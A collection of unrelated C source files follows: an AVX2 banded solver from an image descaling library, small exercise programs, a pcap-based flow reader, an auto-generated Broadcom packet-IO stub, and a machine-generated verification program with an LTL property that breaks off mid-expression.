weights_columns, float * restrict weights, float * restrict * restrict lower, float * restrict * restrict upper, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp, float * restrict temp) { for (int i = 0; i < floor_n(current_height, 8); i += 8) { process_line8_h_avx2(width, current_width, current_height, bandwidth, weights_left_idx, weights_right_idx, weights_columns, weights, lower, upper, diagonal, src_stride, dst_stride, srcp, dstp, temp); srcp += src_stride * 8; dstp += dst_stride * 8; } if (floor_n(current_height, 8) != current_height) { srcp -= src_stride * (8 - (current_height - floor_n(current_height, 8))); dstp -= dst_stride * (8 - (current_height - floor_n(current_height, 8))); process_line8_h_avx2(width, current_width, current_height, bandwidth, weights_left_idx, weights_right_idx, weights_columns, weights, lower, upper, diagonal, src_stride, dst_stride, srcp, dstp, temp); } } /* * Unlike the horizontal specialized solver, this vertical one * is just slightly faster than the generalized version. * To keep past values in the registers, we would have to do the vertical * pass actually vertically instead of horizontally, this would lead to * a worse memory acess pattern, and is actually slower than using * additional load/store instructions. */ static void process_plane_v_b3_avx2(int height, int current_height, int current_width, int bandwidth, int * restrict weights_left_idx, int * restrict weights_right_idx, int weights_columns, float * restrict weights, float * restrict * restrict lower2, float * restrict * restrict upper2, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp) { float * restrict lower = lower2[0]; float * restrict upper = upper2[0]; __m256 x, a0, a1, lo, up, di, x_last; for (int i = 0; i < height; i++) { for (int j = 0; j < current_width; j += 8) { x = _mm256_setzero_ps(); // A' b for (int k = weights_left_idx[i]; k < weights_right_idx[i]; k++) { a0 = _mm256_set1_ps(weights[i * weights_columns + k - weights_left_idx[i]]); a1 = _mm256_load_ps(srcp + k * src_stride + j); x = _mm256_fmadd_ps(a0, a1, x); } // Solve LD y = A' b if (i != 0) { lo = _mm256_set1_ps(lower[i]); x_last = _mm256_load_ps(dstp + (i - 1) * dst_stride + j); x = _mm256_fnmadd_ps(lo, x_last, x); } di = _mm256_set1_ps(diagonal[i]); x = _mm256_mul_ps(x, di); _mm256_store_ps(dstp + i * dst_stride + j, x); } } // Solve L' x = y for (int i = height - 2; i >= 0; i--) { for (int j = 0; j < current_width; j += 8) { x = _mm256_load_ps(&dstp[i * dst_stride + j]); x_last = _mm256_load_ps(dstp + (i + 1) * dst_stride + j); up = _mm256_set1_ps(upper[i]); x = _mm256_fnmadd_ps(up, x_last, x); _mm256_store_ps(dstp + i * dst_stride + j, x); } } } /* * Unlike the horizontal specialized solver, this vertical one * is just slightly faster than the generalized version. * To keep past values in the registers, we would have to do the vertical * pass actually vertically instead of horizontally, this would lead to * a worse memory acess pattern, and is actually slower than using * additional load/store instructions. */ static void process_plane_v_b7_avx2(int height, int current_height, int current_width, int bandwidth, int * restrict weights_left_idx, int * restrict weights_right_idx, int weights_columns, float * restrict weights, float * restrict * restrict lower, float * restrict * restrict upper, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp) { __m256 x, a0, a1, lo, up, di, x_last; for (int i = 0; i < height; i++) { for (int j = 0; j < current_width; j += 8) { x = _mm256_setzero_ps(); // A' b for (int k = weights_left_idx[i]; k < weights_right_idx[i]; k++) { a0 = _mm256_set1_ps(weights[i * weights_columns + k - weights_left_idx[i]]); a1 = _mm256_load_ps(srcp + k * src_stride + j); x = _mm256_fmadd_ps(a0, a1, x); } // Solve LD y = A' b if (i > 2) { lo = _mm256_set1_ps(lower[0][i]); x_last = _mm256_load_ps(dstp + (i - 3) * dst_stride + j); x = _mm256_fnmadd_ps(lo, x_last, x); lo = _mm256_set1_ps(lower[1][i]); x_last = _mm256_load_ps(dstp + (i - 2) * dst_stride + j); x = _mm256_fnmadd_ps(lo, x_last, x); lo = _mm256_set1_ps(lower[2][i]); x_last = _mm256_load_ps(dstp + (i - 1) * dst_stride + j); x = _mm256_fnmadd_ps(lo, x_last, x); } else if (i > 1) { lo = _mm256_set1_ps(lower[1][i]); x_last = _mm256_load_ps(dstp + (i - 2) * dst_stride + j); x = _mm256_fnmadd_ps(lo, x_last, x); lo = _mm256_set1_ps(lower[2][i]); x_last = _mm256_load_ps(dstp + (i - 1) * dst_stride + j); x = _mm256_fnmadd_ps(lo, x_last, x); } else if (i > 0) { lo = _mm256_set1_ps(lower[2][i]); x_last = _mm256_load_ps(dstp + (i - 1) * dst_stride + j); x = _mm256_fnmadd_ps(lo, x_last, x); } di = _mm256_set1_ps(diagonal[i]); x = _mm256_mul_ps(x, di); _mm256_store_ps(dstp + i * dst_stride + j, x); } } // Solve L' x = y for (int i = height - 2; i >= 0; i--) { for (int j = 0; j < current_width; j += 8) { x = _mm256_load_ps(dstp + i * dst_stride + j); if (i < height - 3) { up = _mm256_set1_ps(upper[0][i]); x_last = _mm256_load_ps(dstp + (i + 1) * dst_stride + j); x = _mm256_fnmadd_ps(up, x_last, x); up = _mm256_set1_ps(upper[1][i]); x_last = _mm256_load_ps(dstp + (i + 2) * dst_stride + j); x = _mm256_fnmadd_ps(up, x_last, x); up = _mm256_set1_ps(upper[2][i]); x_last = _mm256_load_ps(dstp + (i + 3) * dst_stride + j); x = _mm256_fnmadd_ps(up, x_last, x); } else if (i < height - 2) { up = _mm256_set1_ps(upper[0][i]); x_last = _mm256_load_ps(dstp + (i + 1) * dst_stride + j); x = _mm256_fnmadd_ps(up, x_last, x); up = _mm256_set1_ps(upper[1][i]); x_last = _mm256_load_ps(dstp + (i + 2) * dst_stride + j); x = _mm256_fnmadd_ps(up, x_last, x); } else if (i < height - 1) { up = _mm256_set1_ps(upper[0][i]); x_last = _mm256_load_ps(dstp + (i + 1) * dst_stride + j); x = _mm256_fnmadd_ps(up, x_last, x); } _mm256_store_ps(dstp + i * dst_stride + j, x); } } } /* * General version of the vertical solver. */ static void process_plane_v_avx2(int height, int current_height, int current_width, int bandwidth, int * restrict weights_left_idx, int * restrict weights_right_idx, int weights_columns, float * restrict weights, float * restrict * restrict lower, float * restrict * restrict upper, float * restrict diagonal, int src_stride, int dst_stride, const float * restrict srcp, float * restrict dstp) { __m256 x, a0, a1, lo, up, di, x_last; int start; int c = bandwidth / 2; for (int i = 0; i < height; i++) { for (int j = 0; j < current_width; j += 8) { x = _mm256_setzero_ps(); // A' b for (int k = weights_left_idx[i]; k < weights_right_idx[i]; k++) { a0 = _mm256_set1_ps(weights[i * weights_columns + k - weights_left_idx[i]]); a1 = _mm256_load_ps(srcp + k * src_stride + j); x = _mm256_fmadd_ps(a0, a1, x); } // Solve LD y = A' b start = DSMAX(0, i - c); for (int k = start; k < i; k++) { lo = _mm256_set1_ps(lower[k - i + c][i]); x_last = _mm256_load_ps(dstp + k * dst_stride + j); x = _mm256_fnmadd_ps(lo, x_last, x); } di = _mm256_set1_ps(diagonal[i]); x = _mm256_mul_ps(x, di); _mm256_store_ps(dstp + i * dst_stride + j, x); } } // Solve L' x = y for (int i = height - 2; i >= 0; i--) { for (int j = 0; j < current_width; j += 8) { x = _mm256_load_ps(dstp + i * dst_stride + j); start = DSMIN(height - 1, i + c); for (int k = start; k > i; k--) { up = _mm256_set1_ps(upper[k - i - 1][i]); x_last = _mm256_load_ps(dstp + k * dst_stride + j); x = _mm256_fnmadd_ps(up, x_last, x); } _mm256_store_ps(dstp + i * dst_stride + j, x); } } } void descale_process_vectors_avx2(struct DescaleCore *core, enum DescaleDir dir, int vector_count, int src_stride, int dst_stride, const float *srcp, float *dstp) { if (dir == DESCALE_DIR_HORIZONTAL) { float *temp; descale_aligned_malloc((void **)(&temp), ceil_n(core->src_dim, 8) * 8 * sizeof (float), 32); if (core->bandwidth == 3) process_plane_h_b3_avx2(core->dst_dim, core->src_dim, vector_count, core->bandwidth, core->weights_left_idx, core->weights_right_idx, core->weights_columns, core->weights, core->lower, core->upper, core->diagonal, src_stride, dst_stride, srcp, dstp, temp); else if (core->bandwidth == 7) process_plane_h_b7_avx2(core->dst_dim, core->src_dim, vector_count, core->bandwidth, core->weights_left_idx, core->weights_right_idx, core->weights_columns, core->weights, core->lower, core->upper, core->diagonal, src_stride, dst_stride, srcp, dstp, temp); else process_plane_h_avx2(core->dst_dim, core->src_dim, vector_count, core->bandwidth, core->weights_left_idx, core->weights_right_idx, core->weights_columns, core->weights, core->lower, core->upper, core->diagonal, src_stride, dst_stride, srcp, dstp, temp); descale_aligned_free(temp); } else { if (core->bandwidth == 3) process_plane_v_b3_avx2(core->dst_dim, core->src_dim, vector_count, core->bandwidth, core->weights_left_idx, core->weights_right_idx, core->weights_columns, core->weights, core->lower, core->upper, core->diagonal, src_stride, dst_stride, srcp, dstp); else if (core->bandwidth == 7) process_plane_v_b7_avx2(core->dst_dim, core->src_dim, vector_count, core->bandwidth, core->weights_left_idx, core->weights_right_idx, core->weights_columns, core->weights, core->lower, core->upper, core->diagonal, src_stride, dst_stride, srcp, dstp); else process_plane_v_avx2(core->dst_dim, core->src_dim, vector_count, core->bandwidth, core->weights_left_idx, core->weights_right_idx, core->weights_columns, core->weights, core->lower, core->upper, core->diagonal, src_stride, dst_stride, srcp, dstp); } } #endif // DESCALE_X86
the_stack_data/29825736.c
#include <stdio.h> int main(void){ int i; int p = 1,n; scanf("%d",&n); for(i=0; p<=n; i++) p*=10; p /= 10; for(int j=0; j<i; j++) { printf("%d",n/p); n %= p; } return 0; }
the_stack_data/2263.c
#include <stdio.h> #include <stdlib.h> #include <math.h> /* run this program using the console pauser or add your own getch, system("pause") or input loop */ int main() { double a,b,c,d,f,s1,s2,s,p1,p2; scanf("%lf %lf %lf %lf %lf",&a,&b,&c,&d,&f); p1=(d+f+c)/2; s1=p1*(p1-d)*(p1-f)*(p1-c); s1=sqrt(s1); p2=(a+b+f)/2; s2=p2*(p2-a)*(p2-b)*(p2-f); s2=sqrt(s2); s=s1+s2; printf("%.4lf",s); return 0; }
the_stack_data/72434.c
/* * Copyright (C) 2001-2016 WIDE Project. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * - Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #ifdef PCAP /* pcap support */ #include <sys/types.h> #include <sys/param.h> #include <sys/time.h> #include <sys/ioctl.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <err.h> #include <pcap.h> #include "../aguri_flow.h" #include "aguri3_xflow.h" extern struct aguri_flow aguri_flow; #ifndef INET6 /* * The default snapshot length. This value allows most printers to print * useful information while keeping the amount of unwanted data down. * In particular, it allows for an ethernet header, tcp/ip header, and * 14 bytes of data (assuming no ip options). */ #define DEFAULT_SNAPLEN 68 #else #define DEFAULT_SNAPLEN 96 #endif static pcap_t *pd; static char errbuf[PCAP_ERRBUF_SIZE]; static void dump_reader(u_char *user, const struct pcap_pkthdr *h, const u_char *p); static void ether_if_read(u_char *user, const struct pcap_pkthdr *h, const u_char *p); /* a function switch to read different types of frames */ static void (*net_reader)(u_char *user, const struct pcap_pkthdr *h, const u_char *p); struct printer { pcap_handler f; int type; }; static struct printer printers[] = { { ether_if_read, DLT_EN10MB }, #if 0 { ppp_if_read, DLT_PPP }, { null_if_read, DLT_NULL }, #endif { NULL, 0 }, }; static pcap_handler lookup_printer(int type) { struct printer *p; for (p = printers; p->f; ++p) if (type == p->type) return p->f; errx(1, "lookup_printer: unknown data link type 0x%x", type); /* NOTREACHED */ return NULL; } void pcap_read(const char *dumpfile, const char *interface, const char *filter_cmd, int snaplen) { int fd; const char *device = NULL; struct bpf_program bprog; if (dumpfile != NULL) { /* read from a saved pcap file */ pd = pcap_open_offline(dumpfile, errbuf); if (pd == NULL) err(1, "%s", errbuf); } else { if (interface != NULL) { device = interface; } else { device = pcap_lookupdev(errbuf); if (device == NULL) errx(1, "%s", errbuf); } if (snaplen == 0) snaplen = DEFAULT_SNAPLEN; fprintf(stderr, "pcap_read: reading from %s with snaplen:%d\n", device, snaplen); pd = pcap_open_live(device, snaplen, 1, 0, errbuf); if (pd == NULL) errx(1, "%s", errbuf); } if (pcap_compile(pd, &bprog, filter_cmd, 0, 0) < 0) err(1, "pcap_compile: %s", pcap_geterr(pd)); else if (pcap_setfilter(pd, &bprog) < 0) err(1, "pcap_setfilter: %s", pcap_geterr(pd)); net_reader = lookup_printer(pcap_datalink(pd)); fd = fileno(pcap_file(pd)); if (device != NULL) { /* let user own process after interface has been opened */ setuid(getuid()); #if defined(BSD) && defined(BPF_MAXBUFSIZE) { /* check the buffer size */ u_int bufsize; if (ioctl(fd, BIOCGBLEN, (caddr_t)&bufsize) < 0) perror("BIOCGBLEN"); else fprintf(stderr, "bpf buffer size is %d\n", bufsize); } #endif /* BSD */ } while (1) { int cnt; cnt = pcap_dispatch(pd, 1, dump_reader, 0); if (cnt < 0) break; if (dumpfile != NULL && cnt == 0) /* EOF */ break; } pcap_close(pd); } static void dump_reader(u_char *user, const struct pcap_pkthdr *h, const u_char *p) { /* clear aguri_flow to be filled in parsers */ memset(&aguri_flow, 0, sizeof(aguri_flow)); (*net_reader)(user, h, p); if (aguri_flow.agflow_fs.fs_ipver == 0) /* not a IP packet */ return; aguri_flow.agflow_packets = htonl(1); aguri_flow.agflow_bytes = htonl(h->len); aguri_flow.agflow_first = aguri_flow.agflow_last = htonl((u_int32_t)h->ts.tv_sec); if (debug == 0) { if (fwrite(&aguri_flow, sizeof(aguri_flow), 1, stdout) != 1) err(1, "fwrite failed!"); } else print_flow(&aguri_flow); } static void ether_if_read(u_char *user, const struct pcap_pkthdr *h, const u_char *p) { etherhdr_parse((const char *)p, h->caplen); } #endif /* PCAP */
the_stack_data/218893620.c
/******************************************************************************* * * DO NOT EDIT THIS FILE! * This file is auto-generated from the registers file. * Edits to this file will be lost when it is regenerated. * Tool: INTERNAL/regs/xgs/generate-pmd.pl * * This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file. * * Copyright 2007-2020 Broadcom Inc. All rights reserved. * * This file provides Higig3 access functions for BCM56980_A0. */ #ifdef INCLUDE_PKTIO #include <pktio_dep.h> #include <bcmpkt/bcmpkt_higig3_internal.h> #define MASK(_bn) (((uint32_t)0x1<<(_bn))-1) #define WORD_FIELD_GET(_d,_s,_l) (((_d) >> (_s)) & MASK(_l)) #define WORD_FIELD_SET(_d,_s,_l,_v) (_d)=(((_d) & ~(MASK(_l) << (_s))) | (((_v) & MASK(_l)) << (_s))) #define WORD_FIELD_MASK(_d,_s,_l) (_d)=((_d) | (MASK(_l) << (_s))) const bcmpkt_higig3_fget_t bcm56980_a0_higig3_fget = { { NULL } }; const bcmpkt_higig3_fset_t bcm56980_a0_higig3_fset = { { NULL } }; const bcmpkt_higig3_figet_t bcm56980_a0_higig3_figet = { { NULL } }; void bcm56980_a0_higig3_view_info_get(bcmpkt_pmd_view_info_t *info) { info->view_infos = NULL; info->view_types = NULL; info->view_type_get = NULL; } #endif /* INCLUDE_PKTIO */
the_stack_data/55372.c
//@ ltl invariant negative: ([] (X (AP(x_23 - x_12 >= 8) R AP(x_12 - x_17 >= 20)))); float x_0; float x_1; float x_2; float x_3; float x_4; float x_5; float x_6; float x_7; float x_8; float x_9; float x_10; float x_11; float x_12; float x_13; float x_14; float x_15; float x_16; float x_17; float x_18; float x_19; float x_20; float x_21; float x_22; float x_23; int main() { float x_0_; float x_1_; float x_2_; float x_3_; float x_4_; float x_5_; float x_6_; float x_7_; float x_8_; float x_9_; float x_10_; float x_11_; float x_12_; float x_13_; float x_14_; float x_15_; float x_16_; float x_17_; float x_18_; float x_19_; float x_20_; float x_21_; float x_22_; float x_23_; while(1) { x_0_ = ((((7.0 + x_2) > ((18.0 + x_4) > (18.0 + x_7)? (18.0 + x_4) : (18.0 + x_7))? (7.0 + x_2) : ((18.0 + x_4) > (18.0 + x_7)? (18.0 + x_4) : (18.0 + x_7))) > ((5.0 + x_10) > ((3.0 + x_11) > (4.0 + x_12)? (3.0 + x_11) : (4.0 + x_12))? (5.0 + x_10) : ((3.0 + x_11) > (4.0 + x_12)? (3.0 + x_11) : (4.0 + x_12)))? ((7.0 + x_2) > ((18.0 + x_4) > (18.0 + x_7)? (18.0 + x_4) : (18.0 + x_7))? (7.0 + x_2) : ((18.0 + x_4) > (18.0 + x_7)? (18.0 + x_4) : (18.0 + x_7))) : ((5.0 + x_10) > ((3.0 + x_11) > (4.0 + x_12)? (3.0 + x_11) : (4.0 + x_12))? (5.0 + x_10) : ((3.0 + x_11) > (4.0 + x_12)? (3.0 + x_11) : (4.0 + x_12)))) > (((11.0 + x_13) > ((12.0 + x_16) > (2.0 + x_19)? (12.0 + x_16) : (2.0 + x_19))? (11.0 + x_13) : ((12.0 + x_16) > (2.0 + x_19)? (12.0 + x_16) : (2.0 + x_19))) > ((1.0 + x_20) > ((7.0 + x_22) > (11.0 + x_23)? (7.0 + x_22) : (11.0 + x_23))? (1.0 + x_20) : ((7.0 + x_22) > (11.0 + x_23)? (7.0 + x_22) : (11.0 + x_23)))? ((11.0 + x_13) > ((12.0 + x_16) > (2.0 + x_19)? (12.0 + x_16) : (2.0 + x_19))? (11.0 + x_13) : ((12.0 + x_16) > (2.0 + x_19)? (12.0 + x_16) : (2.0 + x_19))) : ((1.0 + x_20) > ((7.0 + x_22) > (11.0 + x_23)? (7.0 + x_22) : (11.0 + x_23))? (1.0 + x_20) : ((7.0 + x_22) > (11.0 + x_23)? (7.0 + x_22) : (11.0 + x_23))))? (((7.0 + x_2) > ((18.0 + x_4) > (18.0 + x_7)? (18.0 + x_4) : (18.0 + x_7))? (7.0 + x_2) : ((18.0 + x_4) > (18.0 + x_7)? (18.0 + x_4) : (18.0 + x_7))) > ((5.0 + x_10) > ((3.0 + x_11) > (4.0 + x_12)? (3.0 + x_11) : (4.0 + x_12))? (5.0 + x_10) : ((3.0 + x_11) > (4.0 + x_12)? (3.0 + x_11) : (4.0 + x_12)))? ((7.0 + x_2) > ((18.0 + x_4) > (18.0 + x_7)? (18.0 + x_4) : (18.0 + x_7))? (7.0 + x_2) : ((18.0 + x_4) > (18.0 + x_7)? (18.0 + x_4) : (18.0 + x_7))) : ((5.0 + x_10) > ((3.0 + x_11) > (4.0 + x_12)? (3.0 + x_11) : (4.0 + x_12))? (5.0 + x_10) : ((3.0 + x_11) > (4.0 + x_12)? (3.0 + x_11) : (4.0 + x_12)))) : (((11.0 + x_13) > ((12.0 + x_16) > (2.0 + x_19)? (12.0 + x_16) : (2.0 + x_19))? (11.0 + x_13) : ((12.0 + x_16) > (2.0 + x_19)? (12.0 + x_16) : (2.0 + x_19))) > ((1.0 + x_20) > ((7.0 + x_22) > (11.0 + x_23)? (7.0 + x_22) : (11.0 + x_23))? (1.0 + x_20) : ((7.0 + x_22) > (11.0 + x_23)? (7.0 + x_22) : (11.0 + x_23)))? ((11.0 + x_13) > ((12.0 + x_16) > (2.0 + x_19)? (12.0 + x_16) : (2.0 + x_19))? (11.0 + x_13) : ((12.0 + x_16) > (2.0 + x_19)? (12.0 + x_16) : (2.0 + x_19))) : ((1.0 + x_20) > ((7.0 + x_22) > (11.0 + x_23)? (7.0 + x_22) : (11.0 + x_23))? (1.0 + x_20) : ((7.0 + x_22) > (11.0 + x_23)? (7.0 + x_22) : (11.0 + x_23))))); x_1_ = ((((3.0 + x_0) > ((7.0 + x_1) > (8.0 + x_2)? (7.0 + x_1) : (8.0 + x_2))? (3.0 + x_0) : ((7.0 + x_1) > (8.0 + x_2)? (7.0 + x_1) : (8.0 + x_2))) > ((19.0 + x_3) > ((2.0 + x_12) > (10.0 + x_14)? (2.0 + x_12) : (10.0 + x_14))? (19.0 + x_3) : ((2.0 + x_12) > (10.0 + x_14)? (2.0 + x_12) : (10.0 + x_14)))? ((3.0 + x_0) > ((7.0 + x_1) > (8.0 + x_2)? (7.0 + x_1) : (8.0 + x_2))? (3.0 + x_0) : ((7.0 + x_1) > (8.0 + x_2)? (7.0 + x_1) : (8.0 + x_2))) : ((19.0 + x_3) > ((2.0 + x_12) > (10.0 + x_14)? (2.0 + x_12) : (10.0 + x_14))? (19.0 + x_3) : ((2.0 + x_12) > (10.0 + x_14)? (2.0 + x_12) : (10.0 + x_14)))) > (((14.0 + x_15) > ((14.0 + x_17) > (19.0 + x_19)? (14.0 + x_17) : (19.0 + x_19))? (14.0 + x_15) : ((14.0 + x_17) > (19.0 + x_19)? (14.0 + x_17) : (19.0 + x_19))) > ((11.0 + x_20) > ((15.0 + x_21) > (19.0 + x_22)? (15.0 + x_21) : (19.0 + x_22))? (11.0 + x_20) : ((15.0 + x_21) > (19.0 + x_22)? (15.0 + x_21) : (19.0 + x_22)))? ((14.0 + x_15) > ((14.0 + x_17) > (19.0 + x_19)? (14.0 + x_17) : (19.0 + x_19))? (14.0 + x_15) : ((14.0 + x_17) > (19.0 + x_19)? (14.0 + x_17) : (19.0 + x_19))) : ((11.0 + x_20) > ((15.0 + x_21) > (19.0 + x_22)? (15.0 + x_21) : (19.0 + x_22))? (11.0 + x_20) : ((15.0 + x_21) > (19.0 + x_22)? (15.0 + x_21) : (19.0 + x_22))))? (((3.0 + x_0) > ((7.0 + x_1) > (8.0 + x_2)? (7.0 + x_1) : (8.0 + x_2))? (3.0 + x_0) : ((7.0 + x_1) > (8.0 + x_2)? (7.0 + x_1) : (8.0 + x_2))) > ((19.0 + x_3) > ((2.0 + x_12) > (10.0 + x_14)? (2.0 + x_12) : (10.0 + x_14))? (19.0 + x_3) : ((2.0 + x_12) > (10.0 + x_14)? (2.0 + x_12) : (10.0 + x_14)))? ((3.0 + x_0) > ((7.0 + x_1) > (8.0 + x_2)? (7.0 + x_1) : (8.0 + x_2))? (3.0 + x_0) : ((7.0 + x_1) > (8.0 + x_2)? (7.0 + x_1) : (8.0 + x_2))) : ((19.0 + x_3) > ((2.0 + x_12) > (10.0 + x_14)? (2.0 + x_12) : (10.0 + x_14))? (19.0 + x_3) : ((2.0 + x_12) > (10.0 + x_14)? (2.0 + x_12) : (10.0 + x_14)))) : (((14.0 + x_15) > ((14.0 + x_17) > (19.0 + x_19)? (14.0 + x_17) : (19.0 + x_19))? (14.0 + x_15) : ((14.0 + x_17) > (19.0 + x_19)? (14.0 + x_17) : (19.0 + x_19))) > ((11.0 + x_20) > ((15.0 + x_21) > (19.0 + x_22)? (15.0 + x_21) : (19.0 + x_22))? (11.0 + x_20) : ((15.0 + x_21) > (19.0 + x_22)? (15.0 + x_21) : (19.0 + x_22)))? ((14.0 + x_15) > ((14.0 + x_17) > (19.0 + x_19)? (14.0 + x_17) : (19.0 + x_19))? (14.0 + x_15) : ((14.0 + x_17) > (19.0 + x_19)? (14.0 + x_17) : (19.0 + x_19))) : ((11.0 + x_20) > ((15.0 + x_21) > (19.0 + x_22)? (15.0 + x_21) : (19.0 + x_22))? (11.0 + x_20) : ((15.0 + x_21) > (19.0 + x_22)? (15.0 + x_21) : (19.0 + x_22))))); x_2_ = ((((19.0 + x_0) > ((13.0 + x_5) > (15.0 + x_6)? (13.0 + x_5) : (15.0 + x_6))? (19.0 + x_0) : ((13.0 + x_5) > (15.0 + x_6)? (13.0 + x_5) : (15.0 + x_6))) > ((11.0 + x_7) > ((12.0 + x_10) > (13.0 + x_12)? (12.0 + x_10) : (13.0 + x_12))? (11.0 + x_7) : ((12.0 + x_10) > (13.0 + x_12)? (12.0 + x_10) : (13.0 + x_12)))? ((19.0 + x_0) > ((13.0 + x_5) > (15.0 + x_6)? (13.0 + x_5) : (15.0 + x_6))? (19.0 + x_0) : ((13.0 + x_5) > (15.0 + x_6)? (13.0 + x_5) : (15.0 + x_6))) : ((11.0 + x_7) > ((12.0 + x_10) > (13.0 + x_12)? (12.0 + x_10) : (13.0 + x_12))? (11.0 + x_7) : ((12.0 + x_10) > (13.0 + x_12)? (12.0 + x_10) : (13.0 + x_12)))) > (((15.0 + x_13) > ((13.0 + x_16) > (18.0 + x_18)? (13.0 + x_16) : (18.0 + x_18))? (15.0 + x_13) : ((13.0 + x_16) > (18.0 + x_18)? (13.0 + x_16) : (18.0 + x_18))) > ((12.0 + x_19) > ((9.0 + x_20) > (8.0 + x_21)? (9.0 + x_20) : (8.0 + x_21))? (12.0 + x_19) : ((9.0 + x_20) > (8.0 + x_21)? (9.0 + x_20) : (8.0 + x_21)))? ((15.0 + x_13) > ((13.0 + x_16) > (18.0 + x_18)? (13.0 + x_16) : (18.0 + x_18))? (15.0 + x_13) : ((13.0 + x_16) > (18.0 + x_18)? (13.0 + x_16) : (18.0 + x_18))) : ((12.0 + x_19) > ((9.0 + x_20) > (8.0 + x_21)? (9.0 + x_20) : (8.0 + x_21))? (12.0 + x_19) : ((9.0 + x_20) > (8.0 + x_21)? (9.0 + x_20) : (8.0 + x_21))))? (((19.0 + x_0) > ((13.0 + x_5) > (15.0 + x_6)? (13.0 + x_5) : (15.0 + x_6))? (19.0 + x_0) : ((13.0 + x_5) > (15.0 + x_6)? (13.0 + x_5) : (15.0 + x_6))) > ((11.0 + x_7) > ((12.0 + x_10) > (13.0 + x_12)? (12.0 + x_10) : (13.0 + x_12))? (11.0 + x_7) : ((12.0 + x_10) > (13.0 + x_12)? (12.0 + x_10) : (13.0 + x_12)))? ((19.0 + x_0) > ((13.0 + x_5) > (15.0 + x_6)? (13.0 + x_5) : (15.0 + x_6))? (19.0 + x_0) : ((13.0 + x_5) > (15.0 + x_6)? (13.0 + x_5) : (15.0 + x_6))) : ((11.0 + x_7) > ((12.0 + x_10) > (13.0 + x_12)? (12.0 + x_10) : (13.0 + x_12))? (11.0 + x_7) : ((12.0 + x_10) > (13.0 + x_12)? (12.0 + x_10) : (13.0 + x_12)))) : (((15.0 + x_13) > ((13.0 + x_16) > (18.0 + x_18)? (13.0 + x_16) : (18.0 + x_18))? (15.0 + x_13) : ((13.0 + x_16) > (18.0 + x_18)? (13.0 + x_16) : (18.0 + x_18))) > ((12.0 + x_19) > ((9.0 + x_20) > (8.0 + x_21)? (9.0 + x_20) : (8.0 + x_21))? (12.0 + x_19) : ((9.0 + x_20) > (8.0 + x_21)? (9.0 + x_20) : (8.0 + x_21)))? ((15.0 + x_13) > ((13.0 + x_16) > (18.0 + x_18)? (13.0 + x_16) : (18.0 + x_18))? (15.0 + x_13) : ((13.0 + x_16) > (18.0 + x_18)? (13.0 + x_16) : (18.0 + x_18))) : ((12.0 + x_19) > ((9.0 + x_20) > (8.0 + x_21)? (9.0 + x_20) : (8.0 + x_21))? (12.0 + x_19) : ((9.0 + x_20) > (8.0 + x_21)? (9.0 + x_20) : (8.0 + x_21))))); x_3_ = ((((15.0 + x_0) > ((17.0 + x_4) > (11.0 + x_8)? (17.0 + x_4) : (11.0 + x_8))? (15.0 + x_0) : ((17.0 + x_4) > (11.0 + x_8)? (17.0 + x_4) : (11.0 + x_8))) > ((20.0 + x_9) > ((11.0 + x_10) > (1.0 + x_11)? (11.0 + x_10) : (1.0 + x_11))? (20.0 + x_9) : ((11.0 + x_10) > (1.0 + x_11)? (11.0 + x_10) : (1.0 + x_11)))? ((15.0 + x_0) > ((17.0 + x_4) > (11.0 + x_8)? (17.0 + x_4) : (11.0 + x_8))? (15.0 + x_0) : ((17.0 + x_4) > (11.0 + x_8)? (17.0 + x_4) : (11.0 + x_8))) : ((20.0 + x_9) > ((11.0 + x_10) > (1.0 + x_11)? (11.0 + x_10) : (1.0 + x_11))? (20.0 + x_9) : ((11.0 + x_10) > (1.0 + x_11)? (11.0 + x_10) : (1.0 + x_11)))) > (((20.0 + x_14) > ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17))? (20.0 + x_14) : ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17))) > ((16.0 + x_18) > ((4.0 + x_20) > (2.0 + x_21)? (4.0 + x_20) : (2.0 + x_21))? (16.0 + x_18) : ((4.0 + x_20) > (2.0 + x_21)? (4.0 + x_20) : (2.0 + x_21)))? ((20.0 + x_14) > ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17))? (20.0 + x_14) : ((8.0 + x_16) > (6.0 + x_17)? (8.0 + x_16) : (6.0 + x_17))) : ((16.0 + x_18) > ((4.0 + x_20) > (2.0 + x_21)? (4.0 + x_20) : (2.0 + x_21))? (16.0 + x_18) : ((4.0 + x_20) > (2.0 + x_21)? (4.0 + x_20) : (2.0 + x_21))))? (((15.0 + x_0) > ((17.0 + x_4) > (11.0 + x_8)? (17.0 + x_4) : (11.0 + x_8))? (15.0 + x_0) : ((17.0 + x_4) > (11.0 + x_8)? (17.0 + x_4) : (11.0 + x_8))) > ((20.0 + x_9) > ((11.0 + x_10) > 